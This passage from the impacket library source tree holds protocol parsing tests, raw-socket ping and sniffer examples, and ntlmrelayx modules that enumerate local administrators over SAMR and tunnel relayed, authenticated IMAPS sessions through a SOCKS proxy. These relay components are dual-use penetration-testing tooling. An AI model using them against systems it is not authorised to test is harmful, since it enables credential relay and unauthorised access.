self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34]) 51 | 52 | def test_04_BSSID(self): 53 | 'Test BSS ID field' 54 | 55 | bssid=self.cfendcfack.get_bssid() 56 | self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a]) 57 | bssid[0]=0x12 58 | bssid[5]=0x34 59 | self.cfendcfack.set_bssid(bssid) 60 | self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34]) 61 | 62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEndCFACK) 63 | unittest.TextTestRunner(verbosity=1).run(suite) 64 | -------------------------------------------------------------------------------- /examples/sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple packet sniffer. 9 | # 10 | # This packet sniffer uses a raw socket to listen for packets 11 | # in transit corresponding to the specified protocols. 12 | # 13 | # Note that the user might need special permissions to be able to use 14 | # raw sockets. 15 | # 16 | # Authors: 17 | # Gerardo Richarte 18 | # Javier Kohen 19 | # 20 | # Reference for: 21 | # ImpactDecoder. 22 | 23 | from select import select 24 | import socket 25 | import sys 26 | 27 | from impacket import ImpactDecoder 28 | 29 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') 30 | 31 | if len(sys.argv) == 1: 32 | toListen = DEFAULT_PROTOCOLS 33 | print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]) 34 | else: 35 | toListen = sys.argv[1:] 36 | 37 | # Open one socket for each specified protocol. 38 | # A special option is set on the socket so that IP headers are included with 39 | # the returned data. 40 | sockets = [] 41 | for protocol in toListen: 42 | try: 43 | protocol_num = socket.getprotobyname(protocol) 44 | except socket.error: 45 | print("Ignoring unknown protocol:", protocol) 46 | toListen.remove(protocol) 47 | continue 48 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) 49 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 50 | sockets.append(s) 51 | 52 | if 0 == len(toListen): 53 | print("There are no protocols available.") 54 | sys.exit(0) 55 | 56 | print("Listening on protocols:", toListen) 57 | 58 | # Instantiate an IP packets decoder. 59 | # As all the packets include their IP header, that decoder only is enough. 60 | decoder = ImpactDecoder.IPDecoder() 61 | 62 | while len(sockets) > 0: 63 | # Wait for an incoming packet on any socket. 64 | ready = select(sockets, [], [])[0] 65 | for s in ready: 66 | packet = s.recvfrom(4096)[0] 67 | if 0 == len(packet): 68 | # Socket remotely closed. Discard it. 69 | sockets.remove(s) 70 | s.close() 71 | else: 72 | # Packet received. Decode and display it. 73 | packet = decoder.decode(packet) 74 | print(packet) 75 | -------------------------------------------------------------------------------- /tests/misc/test_ip6_address.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from binascii import hexlify 3 | from impacket.IP6_Address import IP6_Address 4 | 5 | def hexl(b): 6 | return hexlify(b).decode('ascii') 7 | 8 | class IP6AddressTests(unittest.TestCase): 9 | def test_bin(self): 10 | tests = (("A:B:C:D:E:F:1:2",'000a000b000c000d000e000f00010002', 11 | "A:B:C:D:E:F:1:2"), 12 | ("A:B:0:D:E:F:0:2",'000a000b0000000d000e000f00000002', 13 | "A:B::D:E:F:0:2"), 14 | ("A::BC:E:D",'000a000000000000000000bc000e000d', 15 | "A::BC:E:D"), 16 | ("A::BCD:EFFF:D",'000a00000000000000000bcdefff000d', 17 | "A::BCD:EFFF:D"), 18 | ("FE80:0000:0000:0000:020C:29FF:FE26:E251", 19 | 'fe80000000000000020c29fffe26e251', 20 | "FE80::20C:29FF:FE26:E251"), 21 | ("::",'00000000000000000000000000000000', 22 | "::"), 23 | ("1::",'00010000000000000000000000000000', 24 | "1::"), 25 | ("::2",'00000000000000000000000000000002', 26 | "::2"), 27 | ) 28 | # print IP6_Address("A::BC:E:D").as_string(False) 29 | for torig, thex, texp in tests: 30 | ip = IP6_Address(torig) 31 | byt = ip.as_bytes() 32 | self.assertEqual(hexl(byt), thex) 33 | self.assertEqual(ip.as_string(), texp) 34 | 35 | if not hasattr(unittest.TestCase,'assertRaisesRegex'): 36 | if hasattr(unittest.TestCase,'assertRaisesRegexp'): # PY2.7, PY3.1 37 | assertRaisesRegex = unittest.TestCase.assertRaisesRegexp 38 | else: # PY2.6 39 | def assertRaisesRegex(self,ex,rx,*args): 40 | # Just ignore the regex 41 | return self.assertRaises(ex,rx,*args) 42 | 43 | def test_malformed(self): 44 | with self.assertRaisesRegex(Exception,r'address size'): 45 | IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345") 46 | with self.assertRaisesRegex(Exception,r'triple colon'): 47 | IP6_Address(":::") 48 | with self.assertRaisesRegex(Exception,r'triple colon'): 49 | IP6_Address("::::") 50 | # Could also test other invalid inputs 51 | #IP6_Address("AB:CD:EF") 52 | #IP6_Address("12::34::56") 53 | #IP6_Address("00BCDE::") 54 | #IP6_Address("DEFG::") 55 | # and how about these... 56 | #IP6_Address("A::0XBC:D") 57 | #IP6_Address("B:-123::") 58 | #IP6_Address("B:56 ::-0xE") 59 | 60 | if __name__=='__main__': 61 | unittest.main(verbosity=1) 62 | -------------------------------------------------------------------------------- /tests/runall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ $# -gt 0 ] 3 | then 4 | SUFFIX=$1 5 | # Only run coverage when called by tox 6 | RUN="python -m coverage run --append --rcfile=../coveragerc " 7 | RUNLOCAL="python -m coverage run --append --rcfile=./coveragerc " 8 | COVERAGE=true 9 | else 10 | SUFFIX=XX 11 | RUN=python 12 | RUNLOCAL=python 13 | COVERAGE= 14 | fi 15 | 16 | export PYTHONPATH=../:$PYTHONPATH 17 | 18 | OUTPUTFILE=/tmp/impacketoutput$SUFFIX.txt 19 | # Let's remove the OUTPUTFILE in case it exists 20 | rm -f $OUTPUTFILE 21 | 22 | # Start running the tests 23 | 24 | echo Python Version 25 | python -V 26 | 27 | echo Walking modules 28 | $RUNLOCAL ./walkmodules.py 29 | 30 | echo Testing ImpactPacket 31 | cd ImpactPacket 32 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 33 | 34 | echo Testing dot11 35 | cd ../dot11 36 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 37 | 38 | # In some environments we don't have a Windows 2012 R2 Domain Controller, 39 | # so skip these tests. 40 | cd ../SMB_RPC 41 | echo test_spnego.py 42 | $RUN test_spnego.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 43 | echo test_ntlm.py 44 | $RUN test_ntlm.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 45 | 46 | if [ -z "$NO_REMOTE" ]; then 47 | echo Testing SMB RPC/LDAP 48 | export PYTHONPATH=../../:$PYTHONPATH 49 | echo test_smb.py 50 | $RUN test_smb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 51 | echo test_ldap.py 52 | $RUN test_ldap.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 53 | echo test_nmb.py 54 | $RUN test_nmb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 55 | ./rundce.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 56 | fi 57 | 58 | echo Testing misc 59 | cd ../misc 60 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 61 | 62 | cd .. 63 | 64 | if [ $COVERAGE ] 65 | then 66 | # Combine coverage and produce report 67 | echo "Combining coverage data" 68 | mv .coverage .coveragetmp 69 | coverage combine .coveragetmp ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage 70 | coverage html -i 71 | coverage erase 72 | rm -f ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage 73 | fi 74 | 75 | if grep -q ERROR $OUTPUTFILE; 76 | then 77 | echo "ERRORS found, look at $OUTPUTFILE" 78 | exit 1 79 | else 80 | echo "NO ERRORS found, congrats!" 81 | rm $OUTPUTFILE 82 | exit 0 83 | fi 84 | 85 | echo ================================================================================ 86 | echo IMPORTANT: Dont forget to remove all the .coverage files from tests/* and subdirs 87 | echo if you want newly freshed coverage stats 88 | echo ================================================================================ 89 | -------------------------------------------------------------------------------- /examples/ping6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple ICMP6 ping. 9 | # 10 | # This implementation of ping uses the ICMP echo and echo-reply packets 11 | # to check the status of a host. If the remote host is up, it should reply 12 | # to the echo probe with an echo-reply packet. 13 | # Note that this isn't a definite test, as in the case the remote host is up 14 | # but refuses to reply the probes. 15 | # Also note that the user must have special access to be able to open a raw 16 | # socket, which this program requires. 17 | # 18 | # Authors: 19 | # Alberto Solino (@agsolino) 20 | # 21 | # Reference for: 22 | # ImpactPacket: ICMP6 23 | # ImpactDecoder. 24 | 25 | import select 26 | import socket 27 | import time 28 | import sys 29 | 30 | from impacket import ImpactDecoder, IP6, ICMP6, version 31 | 32 | print(version.BANNER) 33 | 34 | if len(sys.argv) < 3: 35 | print("Use: %s " % sys.argv[0]) 36 | sys.exit(1) 37 | 38 | src = sys.argv[1] 39 | dst = sys.argv[2] 40 | 41 | # Create a new IP packet and set its source and destination addresses. 42 | 43 | ip = IP6.IP6() 44 | ip.set_ip_src(src) 45 | ip.set_ip_dst(dst) 46 | ip.set_traffic_class(0) 47 | ip.set_flow_label(0) 48 | ip.set_hop_limit(64) 49 | 50 | # Open a raw socket. Special permissions are usually required. 51 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) 52 | 53 | payload = "A"*156 54 | 55 | print("PING %s %d data bytes" % (dst, len(payload))) 56 | seq_id = 0 57 | while 1: 58 | # Give the ICMP packet the next ID in the sequence. 59 | seq_id += 1 60 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) 61 | 62 | # Have the IP packet contain the ICMP packet (along with its payload). 63 | ip.contains(icmp) 64 | ip.set_next_header(ip.child().get_ip_protocol_number()) 65 | ip.set_payload_length(ip.child().get_size()) 66 | icmp.calculate_checksum() 67 | 68 | # Send it to the target host. 69 | s.sendto(icmp.get_packet(), (dst, 0)) 70 | 71 | # Wait for incoming replies. 72 | if s in select.select([s],[],[],1)[0]: 73 | reply = s.recvfrom(2000)[0] 74 | 75 | # Use ImpactDecoder to reconstruct the packet hierarchy. 76 | rip = ImpactDecoder.ICMP6Decoder().decode(reply) 77 | 78 | # If the packet matches, report it to the user. 79 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): 80 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number())) 81 | 82 | time.sleep(1) 83 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Ronnie Flathers / @ropnop 11 | # 12 | # Description: 13 | # Helpful enum methods for discovering local admins through SAMR and LSAT 14 | 15 | from impacket.dcerpc.v5 import transport, lsat, samr, lsad 16 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 17 | 18 | 19 | class EnumLocalAdmins: 20 | def __init__(self, smbConnection): 21 | self.__smbConnection = smbConnection 22 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 23 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 24 | 25 | def __getDceBinding(self, strBinding): 26 | rpc = transport.DCERPCTransportFactory(strBinding) 27 | rpc.set_smb_connection(self.__smbConnection) 28 | return rpc.get_dce_rpc() 29 | 30 | def getLocalAdmins(self): 31 | adminSids = self.__getLocalAdminSids() 32 | adminNames = self.__resolveSids(adminSids) 33 | return adminSids, adminNames 34 | 35 | def __getLocalAdminSids(self): 36 | dce = self.__getDceBinding(self.__samrBinding) 37 | dce.connect() 38 | dce.bind(samr.MSRPC_UUID_SAMR) 39 | resp = samr.hSamrConnect(dce) 40 | serverHandle = resp['ServerHandle'] 41 | 42 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 43 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 44 | domainHandle = resp['DomainHandle'] 45 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544) 46 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 47 | memberSids = [] 48 | for member in resp['Members']['Sids']: 49 | memberSids.append(member['SidPointer'].formatCanonical()) 50 | dce.disconnect() 51 | return memberSids 52 | 53 | def __resolveSids(self, sids): 54 | dce = self.__getDceBinding(self.__lsaBinding) 55 | dce.connect() 56 | dce.bind(lsat.MSRPC_UUID_LSAT) 57 | resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 58 | policyHandle = resp['PolicyHandle'] 59 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 60 | names = [] 61 | for n, item in enumerate(resp['TranslatedNames']['Names']): 62 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'])) 63 | dce.disconnect() 64 | return names 65 | -------------------------------------------------------------------------------- /examples/ping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple ICMP ping. 9 | # 10 | # This implementation of ping uses the ICMP echo and echo-reply packets 11 | # to check the status of a host. If the remote host is up, it should reply 12 | # to the echo probe with an echo-reply packet. 13 | # Note that this isn't a definite test, as in the case the remote host is up 14 | # but refuses to reply the probes. 15 | # Also note that the user must have special access to be able to open a raw 16 | # socket, which this program requires. 17 | # 18 | # Authors: 19 | # Gerardo Richarte 20 | # Javier Kohen 21 | # 22 | # Reference for: 23 | # ImpactPacket: IP, ICMP, DATA. 24 | # ImpactDecoder. 25 | 26 | import select 27 | import socket 28 | import time 29 | import sys 30 | 31 | from impacket import ImpactDecoder, ImpactPacket 32 | 33 | if len(sys.argv) < 3: 34 | print("Use: %s " % sys.argv[0]) 35 | sys.exit(1) 36 | 37 | src = sys.argv[1] 38 | dst = sys.argv[2] 39 | 40 | # Create a new IP packet and set its source and destination addresses. 41 | 42 | ip = ImpactPacket.IP() 43 | ip.set_ip_src(src) 44 | ip.set_ip_dst(dst) 45 | 46 | # Create a new ICMP packet of type ECHO. 47 | 48 | icmp = ImpactPacket.ICMP() 49 | icmp.set_icmp_type(icmp.ICMP_ECHO) 50 | 51 | # Include a 156-character long payload inside the ICMP packet. 52 | icmp.contains(ImpactPacket.Data("A"*156)) 53 | 54 | # Have the IP packet contain the ICMP packet (along with its payload). 55 | ip.contains(icmp) 56 | 57 | # Open a raw socket. Special permissions are usually required. 58 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) 59 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 60 | 61 | seq_id = 0 62 | while 1: 63 | # Give the ICMP packet the next ID in the sequence. 64 | seq_id += 1 65 | icmp.set_icmp_id(seq_id) 66 | 67 | # Calculate its checksum. 68 | icmp.set_icmp_cksum(0) 69 | icmp.auto_checksum = 1 70 | 71 | # Send it to the target host. 72 | s.sendto(ip.get_packet(), (dst, 0)) 73 | 74 | # Wait for incoming replies. 75 | if s in select.select([s],[],[],1)[0]: 76 | reply = s.recvfrom(2000)[0] 77 | 78 | # Use ImpactDecoder to reconstruct the packet hierarchy. 79 | rip = ImpactDecoder.IPDecoder().decode(reply) 80 | # Extract the ICMP packet from its container (the IP packet). 81 | ricmp = rip.child() 82 | 83 | # If the packet matches, report it to the user. 84 | if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): 85 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) 86 | 87 | time.sleep(1) 88 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SSL utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Various functions and classes for SSL support: 14 | # - generating certificates 15 | # - creating SSL capable SOCKS protocols 16 | # 17 | # Most of the SSL generation example code comes from the pyopenssl examples 18 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 19 | # 20 | # Made available under the Apache license by the pyopenssl team 21 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 22 | from OpenSSL import crypto, SSL 23 | from impacket import LOG 24 | 25 | # This certificate is not supposed to be exposed on the network 26 | # but only used for the local SOCKS plugins 27 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 28 | def generateImpacketCert(certname='/tmp/impacket.crt'): 29 | # Create a private key 30 | pkey = crypto.PKey() 31 | pkey.generate_key(crypto.TYPE_RSA, 2048) 32 | 33 | # Create the certificate 34 | cert = crypto.X509() 35 | cert.gmtime_adj_notBefore(0) 36 | # Valid for 5 years 37 | cert.gmtime_adj_notAfter(60*60*24*365*5) 38 | subj = cert.get_subject() 39 | subj.CN = 'impacket' 40 | cert.set_pubkey(pkey) 41 | cert.sign(pkey, "sha256") 42 | # We write both from the same file 43 | with open(certname, 'w') as certfile: 44 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 45 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 46 | LOG.debug('Wrote certificate to %s' % certname) 47 | 48 | # Class to wrap the client socket in SSL when serving as a SOCKS server 49 | class SSLServerMixin(object): 50 | # This function will wrap the socksSocket in an SSL layer 51 | def wrapClientConnection(self, cert='/tmp/impacket.crt'): 52 | # Create a context, we don't really care about the SSL/TLS 53 | # versions used since it is only intended for local use and thus 54 | # doesn't have to be super-secure 55 | ctx = SSL.Context(SSL.SSLv23_METHOD) 56 | try: 57 | ctx.use_privatekey_file(cert) 58 | ctx.use_certificate_file(cert) 59 | except SSL.Error: 60 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 61 | generateImpacketCert(cert) 62 | ctx.use_privatekey_file(cert) 63 | ctx.use_certificate_file(cert) 64 | 65 | sslSocket = SSL.Connection(ctx, self.socksSocket) 66 | sslSocket.set_accept_state() 67 | 68 | # Now set this property back to the SSL socket instead of the regular one 69 | self.socksSocket = sslSocket 70 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # $Id$ 3 | 4 | import glob 5 | import os 6 | import platform 7 | 8 | from setuptools import setup 9 | from subprocess import * 10 | 11 | PACKAGE_NAME = "impacket" 12 | 13 | VER_MAJOR = 0 14 | VER_MINOR = 9 15 | VER_MAINT = 22 16 | VER_PREREL = "dev1" 17 | try: 18 | if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0: 19 | p = Popen("git log -1 --format=%cd --date=format:%Y%m%d.%H%M%S", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) 20 | (outstr, errstr) = p.communicate() 21 | (VER_CDATE,VER_CTIME) = outstr.strip().decode("utf-8").split('.') 22 | 23 | p = Popen("git rev-parse --short HEAD", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE) 24 | (outstr, errstr) = p.communicate() 25 | VER_CHASH = outstr.strip().decode("utf-8") 26 | 27 | VER_LOCAL = "+{}.{}.{}".format(VER_CDATE, VER_CTIME, VER_CHASH) 28 | 29 | else: 30 | VER_LOCAL = "" 31 | except Exception: 32 | VER_LOCAL = "" 33 | 34 | if platform.system() != 'Darwin': 35 | data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))] 36 | else: 37 | data_files = [] 38 | 39 | def read(fname): 40 | return open(os.path.join(os.path.dirname(__file__), fname)).read() 41 | 42 | setup(name = PACKAGE_NAME, 43 | version = "{}.{}.{}.{}{}".format(VER_MAJOR,VER_MINOR,VER_MAINT,VER_PREREL,VER_LOCAL), 44 | description = "Network protocols Constructors and Dissectors", 45 | url = "https://www.secureauth.com/labs/open-source-tools/impacket", 46 | author = "SecureAuth Corporation", 47 | author_email = "oss@secureauth.com", 48 | maintainer = "Alberto Solino", 49 | maintainer_email = "bethus@gmail.com", 50 | license = "Apache modified", 51 | long_description = read('README.md'), 52 | long_description_content_type="text/markdown", 53 | platforms = ["Unix","Windows"], 54 | packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom', 55 | 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 56 | 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', 57 | 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils', 58 | 'impacket.examples.ntlmrelayx.attacks'], 59 | scripts = glob.glob(os.path.join('examples', '*.py')), 60 | data_files = data_files, 61 | install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', 'ldapdomaindump>=0.9.0', 'flask>=1.0'], 62 | extras_require={ 63 | 'pyreadline:sys_platform=="win32"': [], 64 | }, 65 | classifiers = [ 66 | "Programming Language :: Python :: 3.8", 67 | "Programming Language :: Python :: 3.7", 68 | "Programming Language :: Python :: 3.6", 69 | "Programming Language :: Python :: 2.7", 70 | ] 71 | ) 72 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the IMAPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 14 | # 15 | # ToDo: 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "IMAPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 28 | PLUGIN_NAME = 'IMAPS Socks Plugin' 29 | PLUGIN_SCHEME = 'IMAPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 993 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | try: 42 | if not IMAPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | except Exception as e: 47 | LOG.debug('IMAPS: %s' % str(e)) 48 | return False 49 | # Change our outgoing socket to the SSL object of IMAP4_SSL 50 | self.relaySocket = self.session.sslobj 51 | return True 52 | 53 | def tunnelConnection(self): 54 | keyword = '' 55 | tag = '' 56 | while True: 57 | try: 58 | data = self.socksSocket.recv(self.packetSize) 59 | except SSL.ZeroReturnError: 60 | # The SSL connection was closed, return 61 | break 62 | # Set the new keyword, unless it is false, then break out of the function 63 | result = self.processTunnelData(keyword, tag, data) 64 | if result is False: 65 | break 66 | # If its not false, it's a tuple with the keyword and tag 67 | keyword, tag = result 68 | 69 | if tag != '': 70 | # Store the tag in the session so we can continue 71 | tag = int(tag) 72 | if self.idleState is True: 73 | self.relaySocket.sendall('DONE%s' % EOL) 74 | self.relaySocketFile.readline() 75 | 76 | if self.shouldClose: 77 | tag += 1 78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 79 | self.relaySocketFile.readline() 80 | 81 | self.session.tagnum = tag + 1 82 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Decoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types 7 | from six import PY2 8 | import unittest 9 | 10 | class TestDot11Decoder(unittest.TestCase): 11 | 12 | def setUp(self): 13 | self.WEPKey=None #Unknown 14 | self.WEPData=b'\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35' 15 | dot11_decoder = Dot11Decoder() 16 | self.in0=dot11_decoder.decode(self.WEPData) 17 | self.in1=self.in0.child() 18 | self.in2=self.in1.child() 19 | self.in3=self.in2.child() 20 | if self.WEPKey: 21 | self.in4=self.in3.child() 22 | self.in5=self.in4.child() 23 | 24 | def test_01_Dot11Decoder(self): 25 | 'Test Dot11 decoder' 26 | if PY2: 27 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.Dot11") 28 | else: 29 | self.assertEqual(str(self.in0.__class__), "") 30 | 31 | def test_02_Dot11DataFrameDecoder(self): 32 | 'Test Dot11DataFrame decoder' 33 | if PY2: 34 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11DataFrame") 35 | else: 36 | self.assertEqual(str(self.in1.__class__), "") 37 | 38 | def test_03_Dot11WEP(self): 39 | 'Test Dot11WEP decoder' 40 | if PY2: 41 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11WEP") 42 | else: 43 | self.assertEqual(str(self.in2.__class__), "") 44 | 45 | def test_04_Dot11WEPData(self): 46 | 'Test Dot11WEPData decoder' 47 | 48 | if not self.WEPKey: 49 | return 50 | 51 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.Dot11WEPData") 52 | 53 | # Test if wep data "get_packet" is correct 54 | wepdata=b'\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17' 55 | self.assertEqual(self.in3.get_packet(),wepdata) 56 | 57 | def test_05_LLC(self): 58 | 'Test LLC decoder' 59 | if self.WEPKey: 60 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.LLC") 61 | 62 | def test_06_Data(self): 63 | 'Test LLC Data decoder' 64 | 65 | if self.WEPKey: 66 | dataclass=self.in4.__class__ 67 | else: 68 | dataclass=self.in3.__class__ 69 | 70 | self.assertTrue(str(dataclass).find('ImpactPacket.Data') > 0) 71 | 72 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Decoder) 73 | unittest.TextTestRunner(verbosity=1).run(suite) 74 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_nmb.py: -------------------------------------------------------------------------------- 1 | try: 2 | import ConfigParser 3 | except ImportError: 4 | import configparser as ConfigParser 5 | import unittest 6 | 7 | from impacket import nmb 8 | from impacket.structure import hexdump 9 | 10 | 11 | class NMBTests(unittest.TestCase): 12 | def create_connection(self): 13 | pass 14 | 15 | def test_encodedecodename(self): 16 | name = 'THISISAVERYLONGLONGNAME' 17 | encoded = nmb.encode_name(name,nmb.TYPE_SERVER,None) 18 | hexdump(encoded) 19 | decoded = nmb.decode_name(encoded) 20 | hexdump(bytearray(decoded[1],'utf-8')) 21 | 22 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) 23 | self.assertTrue(name[:15]==decoded[1].strip()) 24 | 25 | # ToDo: Fix the scope functionality 26 | #namescope = 'MYNAME' 27 | #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE') 28 | 